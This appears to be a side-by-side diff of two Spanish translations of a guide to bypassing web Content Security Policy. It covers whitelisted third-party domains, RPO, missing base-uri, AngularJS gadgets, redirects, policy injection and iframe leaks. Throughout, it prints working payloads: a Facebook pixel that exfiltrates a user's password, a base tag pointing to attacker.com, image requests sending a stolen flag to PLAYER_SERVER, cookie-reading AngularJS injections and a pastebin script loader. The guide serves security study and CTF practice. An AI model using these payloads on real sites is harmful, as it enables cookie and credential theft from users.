| Entidad | Dominio Permitido | Capacidades | | Entidad | Dominio permitido | Capacidades |
| ------------------ | ------------------------------------------- | ------------ | | ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil | | Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil | | Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec | | Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec | | Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec | | Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec | | Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec | | Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec | | Google Firebase | \*.firebaseapp.com | Exfil, Exec |
Si encuentras alguno de los dominios permitidos en el CSP de tu objetivo, es probable que puedas eludir el CSP registrándote en el servicio de terceros y, ya sea exfiltrando datos a ese servicio o ejecutando código. Si encuentras alguno de los dominios permitidos en la CSP de tu objetivo, es probable que puedas eludir la CSP registrándote en el servicio de terceros y, ya sea exfiltrar datos a ese servicio o ejecutar código.
Por ejemplo, si encuentras el siguiente CSP: Por ejemplo, si encuentras la siguiente CSP:
``` ```
Content-Security-Policy: default-src 'self www.facebook.com; Content-Security-Policy: default-src 'self www.facebook.com;
``` ```
@ -317,80 +316,80 @@ o
``` ```
Content-Security-Policy: connect-src www.facebook.com; Content-Security-Policy: connect-src www.facebook.com;
``` ```
Deberías poder exfiltrar datos, de manera similar a como siempre se ha hecho con [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). En este caso, sigues estos pasos generales: Deberías poder exfiltrar datos, de manera similar a como siempre se ha hecho con [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). En este caso, sigue estos pasos generales:
1. Crea una cuenta de desarrollador de Facebook aquí. 1. Crea una cuenta de Facebook Developer aquí.
2. Crea una nueva aplicación de "Inicio de sesión de Facebook" y selecciona "Sitio web". 2. Crea una nueva app "Facebook Login" y selecciona "Website".
3. Ve a "Configuración -> Básico" y obtén tu "ID de aplicación". 3. Ve a "Settings -> Basic" y obtén tu "App ID"
4. En el sitio objetivo del que deseas exfiltrar datos, puedes exfiltrar datos utilizando directamente el gadget "fbq" del SDK de Facebook a través de un "customEvent" y la carga de datos. 4. En el sitio objetivo del que quieres exfiltrar datos, puedes exfiltrar datos usando directamente el gadget del Facebook SDK "fbq" mediante un "customEvent" y la carga útil de datos.
5. Ve a "Administrador de eventos" de tu aplicación y selecciona la aplicación que creaste (ten en cuenta que el administrador de eventos podría encontrarse en una URL similar a esta: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events). 5. Accede a tu App "Event Manager" y selecciona la aplicación que creaste (nota el event manager puede encontrarse en una URL similar a esta: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
6. Selecciona la pestaña "Eventos de prueba" para ver los eventos que se envían desde "tu" sitio web. 6. Selecciona la pestaña "Test Events" para ver los eventos enviados por "tu" sitio web.
Luego, en el lado de la víctima, ejecutas el siguiente código para inicializar el píxel de seguimiento de Facebook para apuntar al app-id de la cuenta de desarrollador de Facebook del atacante y emitir un evento personalizado como este: Luego, on the victim side, ejecuta el siguiente código para inicializar el Facebook tracking pixel para apuntar al app-id de la Facebook developer account del attacker y emitir un custom event como este:
```JavaScript ```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{ fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'" data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
}); });
``` ```
En cuanto a los otros siete dominios de terceros especificados en la tabla anterior, hay muchas otras formas en que puedes abusar de ellos. Consulta la [entrada del blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) mencionada anteriormente para explicaciones adicionales sobre otros abusos de terceros. En cuanto a los otros siete dominios de terceros especificados en la tabla anterior, hay muchas otras formas en las que puedes abusar de ellos. Consulta la [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) mencionada anteriormente para explicaciones adicionales sobre otros abusos de terceros.
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a> ### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
Además de la redirección mencionada para eludir las restricciones de ruta, hay otra técnica llamada Relative Path Overwrite (RPO) que se puede utilizar en algunos servidores. Además de la redirección mencionada anteriormente para bypass path restrictions, existe otra técnica llamada Relative Path Overwrite (RPO) que puede usarse en algunos servidores.
Por ejemplo, si CSP permite la ruta `https://example.com/scripts/react/`, se puede eludir de la siguiente manera: Por ejemplo, si CSP permite la ruta `https://example.com/scripts/react/`, puede bypassarse de la siguiente manera:
```html ```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script> <script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
``` ```
El navegador finalmente cargará `https://example.com/scripts/angular/angular.js`. El navegador finalmente cargará `https://example.com/scripts/angular/angular.js`.
Esto funciona porque para el navegador, estás cargando un archivo llamado `..%2fangular%2fangular.js` ubicado en `https://example.com/scripts/react/`, lo cual es compatible con CSP. Esto funciona porque para el navegador estás cargando un archivo llamado `..%2fangular%2fangular.js` ubicado bajo `https://example.com/scripts/react/`, lo cual cumple con la CSP.
∑, lo decodificarán, solicitando efectivamente `https://example.com/scripts/react/../angular/angular.js`, que es equivalente a `https://example.com/scripts/angular/angular.js`. Entonces lo decodifica, solicitando efectivamente `https://example.com/scripts/react/../angular/angular.js`, que es equivalente a `https://example.com/scripts/angular/angular.js`.
Al **explotar esta inconsistencia en la interpretación de URL entre el navegador y el servidor, se pueden eludir las reglas de ruta**. Al **explotar esta inconsistencia en la interpretación de URL entre el navegador y el servidor, las reglas de ruta pueden ser eludidas**.
La solución es no tratar `%2f` como `/` en el lado del servidor, asegurando una interpretación consistente entre el navegador y el servidor para evitar este problema. La solución es no tratar `%2f` como `/` en el lado del servidor, asegurando una interpretación consistente entre el navegador y el servidor para evitar este problema.
Ejemplo en línea:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output) Ejemplo en línea:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Ejecución de JS en Iframes ### Ejecución de JS en iframes
{{#ref}} {{#ref}}
../xss-cross-site-scripting/iframes-in-xss-and-csp.md ../xss-cross-site-scripting/iframes-in-xss-and-csp.md
{{#endref}} {{#endref}}
### falta de **base-uri** ### **base-uri** ausente
Si falta la directiva **base-uri**, puedes abusar de ella para realizar una [**inyección de marcado colgante**](../dangling-markup-html-scriptless-injection/index.html). Si la directiva **base-uri** falta, puedes abusar de ella para realizar un [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
Además, si la **página está cargando un script usando una ruta relativa** (como `<script src="/js/app.js">`) utilizando un **Nonce**, puedes abusar de la **etiqueta base** para hacer que **cargue** el script desde **tu propio servidor logrando un XSS.**\ Además, si la **página está cargando un script usando una ruta relativa** (como `<script src="/js/app.js">`) usando un **Nonce**, puedes abusar de la etiqueta **base** para hacer que cargue el script desde **tu propio servidor, logrando un XSS.**\
Si la página vulnerable se carga con **httpS**, utiliza una URL httpS en la base. Si la página vulnerable se carga con **httpS**, usa una URL httpS en la base.
```html ```html
<base href="https://www.attacker.com/" /> <base href="https://www.attacker.com/" />
``` ```
### AngularJS events ### Eventos de AngularJS
Una política específica conocida como Content Security Policy (CSP) puede restringir los eventos de JavaScript. No obstante, AngularJS introduce eventos personalizados como una alternativa. Dentro de un evento, AngularJS proporciona un objeto único `$event`, que hace referencia al objeto de evento nativo del navegador. Este objeto `$event` puede ser explotado para eludir la CSP. Notablemente, en Chrome, el objeto `$event/event` posee un atributo `path`, que contiene un array de objetos implicados en la cadena de ejecución del evento, con el objeto `window` invariablemente posicionado al final. Esta estructura es fundamental para las tácticas de escape de sandbox. Una política específica conocida como Content Security Policy (CSP) puede restringir los eventos de JavaScript. No obstante, AngularJS introduce eventos personalizados como alternativa. Dentro de un evento, AngularJS proporciona un objeto único `$event`, que referencia el objeto de evento nativo del navegador. Este objeto `$event` puede explotarse para eludir la CSP. Cabe destacar que en Chrome, el objeto `$event/event` posee un atributo `path` que contiene un array de objetos implicados en la cadena de ejecución del evento, con el objeto `window` siempre situado al final. Esta estructura es clave para las tácticas de sandbox escape.
Al dirigir este array al filtro `orderBy`, es posible iterar sobre él, aprovechando el elemento terminal (el objeto `window`) para activar una función global como `alert()`. El fragmento de código demostrado a continuación ilustra este proceso: Dirigiendo este array al filtro `orderBy`, es posible iterar sobre él, aprovechando el elemento terminal (el objeto `window`) para invocar una función global como `alert()`. El fragmento de código mostrado a continuación ilustra este proceso:
```xml ```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x <input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x ?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
``` ```
Este fragmento destaca el uso de la directiva `ng-focus` para activar el evento, empleando `$event.path|orderBy` para manipular el array `path`, y aprovechando el objeto `window` para ejecutar la función `alert()`, revelando así `document.cookie`. Este fragmento destaca el uso de la directiva `ng-focus` para activar el evento, empleando `$event.path|orderBy` para manipular el arreglo `path`, y aprovechando el objeto `window` para ejecutar la función `alert()`, revelando así `document.cookie`.
**Encuentra otros bypasses de Angular en** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) **Find other Angular bypasses in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJS y dominio en la lista blanca ### AngularJS y whitelisted domain
``` ```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url; Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
``` ```
Una política de CSP que permite dominios para la carga de scripts en una aplicación Angular JS puede ser eludida a través de la invocación de funciones de callback y ciertas clases vulnerables. Más información sobre esta técnica se puede encontrar en una guía detallada disponible en este [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22). Una política CSP que restringe la carga de scripts a dominios permitidos en una aplicación Angular JS puede ser eludida mediante la invocación de callback functions y ciertas clases vulnerables. Más información sobre esta técnica se puede encontrar en una guía detallada disponible en este [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
Payloads funcionales: Working payloads:
```html ```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script> <script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script> ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
@ -398,13 +397,13 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
<!-- no longer working --> <!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)"> <script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
``` ```
Otros puntos de ejecución arbitraria de JSONP se pueden encontrar en [**aquí**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (algunos de ellos fueron eliminados o corregidos) Otros endpoints JSONP de ejecución arbitraria se pueden encontrar en [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (algunos de ellos fueron eliminados o corregidos)
### Bypass mediante Redirección ### Bypass via Redirection
¿Qué sucede cuando CSP encuentra una redirección del lado del servidor? Si la redirección lleva a un origen diferente que no está permitido, seguirá fallando. ¿Qué sucede cuando CSP encuentra una redirección del lado del servidor? Si la redirección conduce a un origen diferente que no está permitido, aún fallará.
Sin embargo, de acuerdo con la descripción en [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), si la redirección lleva a un camino diferente, puede eludir las restricciones originales. Sin embargo, según la descripción en [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), si la redirección conduce a una ruta diferente, puede eludir las restricciones originales.
Aquí hay un ejemplo: Aquí hay un ejemplo:
```html ```html
@ -424,68 +423,69 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</body> </body>
</html> </html>
``` ```
Si CSP está configurado en `https://www.google.com/a/b/c/d`, dado que se considera la ruta, tanto los scripts `/test` como `/a/test` serán bloqueados por CSP. Si CSP está establecido en `https://www.google.com/a/b/c/d`, dado que se considera la ruta, tanto los scripts `/test` como `/a/test` serán bloqueados por CSP.
Sin embargo, el `http://localhost:5555/301` final será **redirigido en el lado del servidor a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Dado que es una redirección, **la ruta no se considera**, y **el script puede ser cargado**, eludiendo así la restricción de la ruta. Sin embargo, el recurso final `http://localhost:5555/301` será **redireccionado en el servidor a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Como es una redirección, la **ruta no se considera**, y el **script puede cargarse**, evitando así la restricción de ruta.
Con esta redirección, incluso si la ruta se especifica completamente, aún será eludida. Con esta redirección, incluso si la ruta está especificada completamente, segui siendo eludida.
Por lo tanto, la mejor solución es asegurarse de que el sitio web no tenga vulnerabilidades de redirección abiertas y que no haya dominios que puedan ser explotados en las reglas de CSP. Por lo tanto, la mejor solución es asegurarse de que el sitio web no tenga vulnerabilidades de open redirect y de que no existan dominios que puedan ser explotados en las reglas de CSP.
### Eludir CSP con marcado colgante ### Bypass CSP with dangling markup
Lee [cómo aquí](../dangling-markup-html-scriptless-injection/index.html). Lee cómo hacerlo [aquí](../dangling-markup-html-scriptless-injection/index.html).
### 'unsafe-inline'; img-src \*; a través de XSS ### 'unsafe-inline'; img-src \*; via XSS
``` ```
default-src 'self' 'unsafe-inline'; img-src *; default-src 'self' 'unsafe-inline'; img-src *;
``` ```
`'unsafe-inline'` significa que puedes ejecutar cualquier script dentro del código (XSS puede ejecutar código) y `img-src *` significa que puedes usar en la página web cualquier imagen de cualquier recurso. `'unsafe-inline'` significa que puedes ejecutar cualquier script dentro del código (XSS puede ejecutar código) y `img-src *` significa que puedes usar en la página web cualquier imagen de cualquier recurso.
Puedes eludir esta CSP exfiltrando los datos a través de imágenes (en esta ocasión, el XSS abusa de un CSRF donde una página accesible por el bot contiene un SQLi, y extrae la bandera a través de una imagen): Puedes eludir esta CSP exfiltrando los datos a través de imágenes (en esta ocasión el XSS abusa de un CSRF donde una página accesible por el bot contiene un SQLi, y extrae la flag mediante una imagen):
```javascript ```javascript
<script> <script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_) Image().src='http://PLAYER_SERVER/?'+_)
</script> </script>
``` ```
Desde: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle) From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
También podrías abusar de esta configuración para **cargar código javascript insertado dentro de una imagen**. Si, por ejemplo, la página permite cargar imágenes desde Twitter. Podrías **crear** una **imagen especial**, **subirla** a Twitter y abusar de la "**unsafe-inline**" para **ejecutar** un código JS (como un XSS regular) que **cargará** la **imagen**, **extraerá** el **JS** de ella y **lo ejecutará**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/) También podrías abusar de esta configuración para **cargar código javascript insertado dentro de una imagen**. Si, por ejemplo, la página permite cargar imágenes desde Twitter, podrías **crear** una **imagen especial**, **subirla** a Twitter y abusar de "**unsafe-inline**" para **ejecutar** un código JS (como un XSS normal) que **cargará** la **imagen**, **extraerá** el **JS** de ella y **lo ejecutará**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Con Service Workers ### Con Service Workers
La función **`importScripts`** de los service workers no está limitada por CSP: La función `importScripts` de Service Workers no está limitada por CSP:
{{#ref}} {{#ref}}
../xss-cross-site-scripting/abusing-service-workers.md ../xss-cross-site-scripting/abusing-service-workers.md
{{#endref}} {{#endref}}
### Inyección de Políticas ### Policy Injection
**Investigación:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection) **Investigación:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
#### Chrome #### Chrome
Si un **parámetro** enviado por ti está siendo **pegado dentro** de la **declaración** de la **política,** entonces podrías **alterar** la **política** de alguna manera que la haga **inútil**. Podrías **permitir script 'unsafe-inline'** con cualquiera de estos bypasses: Si un **parámetro** enviado por ti está siendo **pegado dentro** de la **declaración** de la **política**, entonces podrías **alterar** la **política** de alguna manera que la haga **inútil**. Podrías **allow script 'unsafe-inline'** con cualquiera de estos bypasses:
```bash ```bash
script-src-elem *; script-src-attr * script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline' script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
``` ```
Porque esta directiva **sobrescribirá las directivas script-src existentes**.\ Because this directive will **overwrite existing script-src directives**.\
Puedes encontrar un ejemplo aquí: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E) You can find an example here: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
#### Edge #### Edge
En Edge es mucho más simple. Si puedes agregar en el CSP solo esto: **`;_`** **Edge** **eliminará** toda la **política**.\ En Edge es mucho más simple. Si puedes añadir en la CSP solo esto: **`;_`** **Edge** eliminaría toda la **policy**.\
Ejemplo: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>) Example: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
### img-src \*; vía XSS (iframe) - Ataque de tiempo ### img-src \*; vía XSS (iframe) - Time attack
Nota la falta de la directiva `'unsafe-inline'`\ Observa la ausencia de la directiva `'unsafe-inline'`\
Esta vez puedes hacer que la víctima **cargue** una página bajo **tu control** a través de **XSS** con un `<iframe`. Esta vez vas a hacer que la víctima acceda a la página de donde quieres extraer información (**CSRF**). No puedes acceder al contenido de la página, pero si de alguna manera puedes **controlar el tiempo que la página necesita para cargar**, puedes extraer la información que necesitas. Esta vez puedes hacer que la víctima **cargue** una página bajo **tu control** vía **XSS** con un `<iframe`. En esta ocasión harás que la víctima acceda a la página desde la que quieres extraer información (**CSRF**). No puedes acceder al contenido de la página, pero si de alguna forma puedes **controlar el tiempo que la página tarda en cargar** puedes extraer la información que necesitas.
Esta vez se va a extraer una **bandera**, cada vez que un **carácter es adivinado correctamente** a través de SQLi, la **respuesta** toma **más tiempo** debido a la función de espera. Entonces, podrás extraer la bandera: Esta vez se va a extraer una **flag**: cada vez que un **char es adivinado correctamente** vía SQLi, la **respuesta** tarda **más tiempo** debido a la función sleep. Entonces, podrás extraer la flag:
```html ```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle --> <!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload <iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -545,24 +545,24 @@ console.log(prefix)
run() run()
</script> </script>
``` ```
### Via Bookmarklets ### Vía Bookmarklets
Este ataque implicaría algo de ingeniería social donde el atacante **convince al usuario de arrastrar y soltar un enlace sobre el bookmarklet del navegador**. Este bookmarklet contendría **código javascript malicioso** que, al ser arrastrado y soltado o clicado, se ejecutaría en el contexto de la ventana web actual, **eludiendo CSP y permitiendo robar información sensible** como cookies o tokens. Este ataque implicaría algo de ingeniería social donde el atacante **convence al usuario de arrastrar y soltar un enlace sobre el bookmarklet del navegador**. Este bookmarklet contendría **javascript malicioso** que, al ser arrastrado y soltado o al hacer clic, se ejecutaría en el contexto de la ventana web actual, **eludiendo CSP y permitiendo robar información sensible** como cookies o tokens.
Para más información [**consulta el informe original aquí**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). Para más información [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### Bypass de CSP restringiendo CSP ### CSP bypass by restricting CSP
En [**este writeup de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP se elude inyectando dentro de un iframe permitido un CSP más restrictivo que no permitía cargar un archivo JS específico que, luego, a través de **prototype pollution** o **dom clobbering** permitía **abusar de un script diferente para cargar un script arbitrario**. En [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), se elude CSP inyectando dentro de un iframe permitido un CSP más restrictivo que impedía cargar un archivo JS específico que, a su vez, mediante **prototype pollution** o **dom clobbering**, permitía **abusar de un script diferente para cargar un script arbitrario**.
Puedes **restringir un CSP de un Iframe** con el **atributo `csp`**: Puedes **restringir el CSP de un Iframe** con el atributo **`csp`**:
```html ```html
<iframe <iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe> csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
``` ```
En [**este informe de CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), fue posible a través de **inyección HTML** **restringir** más un **CSP** de modo que un script que prevenía CSTI fue deshabilitado y, por lo tanto, la **vulnerabilidad se volvió explotable.**\ En [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), fue posible vía **HTML injection** **restringir** más una **CSP** de modo que un **script** que prevenía **CSTI** fue deshabilitado y por lo tanto la **vulnerability became exploitable.**\
CSP se puede hacer más restrictivo utilizando **etiquetas meta HTML** y los scripts en línea pueden deshabilitarse **eliminando** la **entrada** que permite su **nonce** y **habilitar scripts en línea específicos a través de sha**: CSP puede volverse más restrictiva usando **HTML meta tags** y los inline scripts pueden ser deshabilitados **eliminando** la **entrada** que permite su **nonce** y **habilitar inline script específico a sha**:
```html ```html
<meta <meta
http-equiv="Content-Security-Policy" http-equiv="Content-Security-Policy"
@ -571,51 +571,69 @@ content="script-src 'self'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4=' 'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" /> 'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
``` ```
### Exfiltración de JS con Content-Security-Policy-Report-Only ### JS exfiltration with Content-Security-Policy-Report-Only
Si logras que el servidor responda con el encabezado **`Content-Security-Policy-Report-Only`** con un **valor controlado por ti** (quizás debido a un CRLF), podrías hacer que apunte a tu servidor y si **envuelves** el **contenido JS** que deseas exfiltrar con **`<script>`** y dado que es muy probable que `unsafe-inline` no esté permitido por la CSP, esto **activará un error de CSP** y parte del script (que contiene la información sensible) será enviada al servidor desde `Content-Security-Policy-Report-Only`. Si puedes lograr que el servidor responda con la cabecera **`Content-Security-Policy-Report-Only`** con un **valor controlado por ti** (quizá debido a un CRLF), podrías hacer que apunte a tu servidor y, si **envuelves** el **JS content** que quieres exfiltrar con **`<script>`**, y dado que es muy probable que `unsafe-inline` no esté permitido por la CSP, esto **provocará un error de CSP** y parte del script (que contiene la información sensible) será enviada al servidor a través de `Content-Security-Policy-Report-Only`.
Para un ejemplo [**consulta este writeup de CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes). For an example [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/) ### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript ```javascript
document.querySelector("DIV").innerHTML = document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>' '<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
``` ```
### Filtrando Información con CSP e Iframe ### Leaking Información con CSP e iframe
- Se crea un `iframe` que apunta a una URL (llamémosla `https://example.redirect.com`) que está permitida por CSP. - Se crea un `iframe` que apunta a una URL (llamémosla `https://example.redirect.com`) que está permitida por CSP.
- Esta URL luego redirige a una URL secreta (por ejemplo, `https://usersecret.example2.com`) que **no está permitida** por CSP. - Esta URL luego redirige a una URL secreta (p. ej., `https://usersecret.example2.com`) que **no está permitida** por CSP.
- Al escuchar el evento `securitypolicyviolation`, se puede capturar la propiedad `blockedURI`. Esta propiedad revela el dominio de la URI bloqueada, filtrando el dominio secreto al que la URL inicial redirigió. - Al escuchar el evento `securitypolicyviolation`, se puede capturar la propiedad `blockedURI`. Esta propiedad revela el dominio del URI bloqueado, leaking el dominio secreto al que la URL inicial redirigió.
Es interesante notar que navegadores como Chrome y Firefox tienen comportamientos diferentes al manejar iframes con respecto a CSP, lo que lleva a una posible filtración de información sensible debido a un comportamiento indefinido. Es interesante notar que navegadores como Chrome y Firefox tienen comportamientos diferentes al manejar iframes con respecto a CSP, lo que puede conducir a potencial leakage de información sensible debido a comportamientos indefinidos.
Otra técnica implica explotar el CSP mismo para deducir el subdominio secreto. Este método se basa en un algoritmo de búsqueda binaria y en ajustar el CSP para incluir dominios específicos que están deliberadamente bloqueados. Por ejemplo, si el subdominio secreto está compuesto de caracteres desconocidos, se pueden probar iterativamente diferentes subdominios modificando la directiva CSP para bloquear o permitir estos subdominios. Aquí hay un fragmento que muestra cómo se podría configurar el CSP para facilitar este método: Otra técnica implica explotar el propio CSP para deducir el subdominio secreto. Este método se basa en un algoritmo de búsqueda binaria y en ajustar el CSP para incluir dominios específicos que se bloquean deliberadamente. Por ejemplo, si el subdominio secreto está compuesto por caracteres desconocidos, puedes probar iterativamente distintos subdominios modificando la directiva CSP para bloquear o permitir esos subdominios. Aquí hay un fragmento que muestra cómo podría configurarse el CSP para facilitar este método:
```markdown ```markdown
